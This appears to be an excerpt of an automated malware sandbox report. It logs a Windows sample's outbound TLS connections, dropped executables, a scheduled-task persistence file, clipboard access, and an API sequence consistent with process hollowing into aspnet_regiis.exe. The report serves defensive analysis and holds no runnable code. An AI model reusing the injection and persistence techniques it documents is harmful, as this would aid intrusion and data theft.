Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.3:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.46.162.225:443 -> 192.168.2.4:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50333 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50334 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 9_2_72B54470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_72B54470

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 9_2_72B54470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_72B54470

System Summary

Binary is likely a compiled AutoIt script file

Source: 9777a59422.exe, 00000011.00000000.2690681196.00000000007D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_47cb124e-6
Source: 9777a59422.exe, 00000011.00000000.2690681196.00000000007D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_98017b51-0
Source: 9777a59422.exe, 00000027.00000000.2840264074.00000000007D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_173f537a-9
Source: 9777a59422.exe, 00000027.00000000.2840264074.00000000007D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_212d2b93-f

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: 5468191780[1].exe.6.dr	Static PE information: section name: W{2/c
Source: 5468191780.exe.6.dr	Static PE information: section name: W{2/c
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: f5d46eacf9.exe.6.dr	Static PE information: section name:
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: .idata
Source: f5d46eacf9.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: a0a3a50765.exe.6.dr	Static PE information: section name:
Source: a0a3a50765.exe.6.dr	Static PE information: section name: .idata
Source: a0a3a50765.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name:
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 2096827834.exe.6.dr	Static PE information: section name:
Source: 2096827834.exe.6.dr	Static PE information: section name: .rsrc
Source: 2096827834.exe.6.dr	Static PE information: section name: .idata
Source: 2096827834.exe.6.dr	Static PE information: section name:
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name:
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: .idata
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: .idata
Source: random[3].exe.15.dr	Static PE information: section name:

PE file has nameless sections

Source: 5468191780[1].exe.6.dr	Static PE information: section name:
Source: 5468191780.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Memory allocated: 72B20000 page execute and read and write

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D36C0 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,GetConsoleWindow,ShowWindow,		7_2_6C9D36C0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D2E60 GetModuleHandleW,NtQueryInformationProcess,		7_2_6C9D2E60

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DF8090	7_2_00DF8090
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DF82B0	7_2_00DF82B0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00E10A70	7_2_00E10A70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00E0BC10	7_2_00E0BC10
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00E101F0	7_2_00E101F0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DF75A0	7_2_00DF75A0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DF5570	7_2_00DF5570
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00E09F20	7_2_00E09F20
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00E13320	7_2_00E13320
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D36C0	7_2_6C9D36C0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D1200	7_2_6C9D1200
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D2E60	7_2_6C9D2E60
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D3470	7_2_6C9D3470
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D2790	7_2_6C9D2790
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9E03C1	7_2_6C9E03C1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9D6370	7_2_6C9D6370
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EC090	7_2_6C9EC090
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA188E0	7_2_6CA188E0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA21CE0	7_2_6CA21CE0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9F44D8	7_2_6C9F44D8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9ED0C0	7_2_6C9ED0C0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EFCF0	7_2_6C9EFCF0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA1F430	7_2_6CA1F430
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA06C70	7_2_6CA06C70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9ECC40	7_2_6C9ECC40
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9E9980	7_2_6C9E9980
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EEDA0	7_2_6C9EEDA0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EF9A0	7_2_6C9EF9A0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA1A5D0	7_2_6CA1A5D0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9F1100	7_2_6C9F1100
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EB95A	7_2_6C9EB95A
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9F4D70	7_2_6C9F4D70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EF610	7_2_6C9EF610
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA06A50	7_2_6CA06A50
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA1EBB0	7_2_6CA1EBB0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9E8F80	7_2_6C9E8F80
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9EDBD0	7_2_6C9EDBD0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9E8BD0	7_2_6C9E8BD0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA03F30	7_2_6CA03F30
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6C9F3305	7_2_6C9F3305
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA05F60	7_2_6CA05F60
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_6CA0EB70	7_2_6CA0EB70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A2510	7_2_015A2510
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A0910	7_2_015A0910
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A45A8	7_2_015A45A8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A787F	7_2_015A787F
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A2C69	7_2_015A2C69
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015ADA00	7_2_015ADA00
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015ABE28	7_2_015ABE28
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A3681	7_2_015A3681
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015AC948	7_2_015AC948
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A3118	7_2_015A3118
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015AA538	7_2_015AA538
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6998	7_2_015A6998
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015AE990	7_2_015AE990
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6988	7_2_015A6988
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6DB1	7_2_015A6DB1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A19AF	7_2_015A19AF
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A60D0	7_2_015A60D0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A60C1	7_2_015A60C1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A2488	7_2_015A2488
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A54B8	7_2_015A54B8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A44B1	7_2_015A44B1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A54A8	7_2_015A54A8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6750	7_2_015A6750
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6760	7_2_015A6760
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6B99	7_2_015A6B99
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A63A8	7_2_015A63A8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A6BA8	7_2_015A6BA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02ADF832	9_3_02ADF832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B41790	9_2_72B41790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2CF05	9_2_72B2CF05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B48770	9_2_72B48770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B60C80	9_2_72B60C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B298F0	9_2_72B298F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B5B8E0	9_2_72B5B8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2E0D8	9_2_72B2E0D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B59030	9_2_72B59030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B289A0	9_2_72B289A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B61580	9_2_72B61580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B39530	9_2_72B39530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B43D70	9_2_72B43D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B45E90	9_2_72B45E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B24AC0	9_2_72B24AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B25AC9	9_2_72B25AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B47E20	9_2_72B47E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2B210	9_2_72B2B210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B29210	9_2_72B29210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B40650	9_2_72B40650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B587B0	9_2_72B587B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B22B80	9_2_72B22B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B5C780	9_2_72B5C780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B227D0	9_2_72B227D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B277D0	9_2_72B277D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B3DB30	9_2_72B3DB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B3FB60	9_2_72B3FB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B60F60	9_2_72B60F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B48CB0	9_2_72B48CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B25C90	9_2_72B25C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B524E0	9_2_72B524E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B294D0	9_2_72B294D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B5F8D0	9_2_72B5F8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B26CC0	9_2_72B26CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2542C	9_2_72B2542C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B40870	9_2_72B40870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B26840	9_2_72B26840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B5C040	9_2_72B5C040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B261A0	9_2_72B261A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B23580	9_2_72B23580
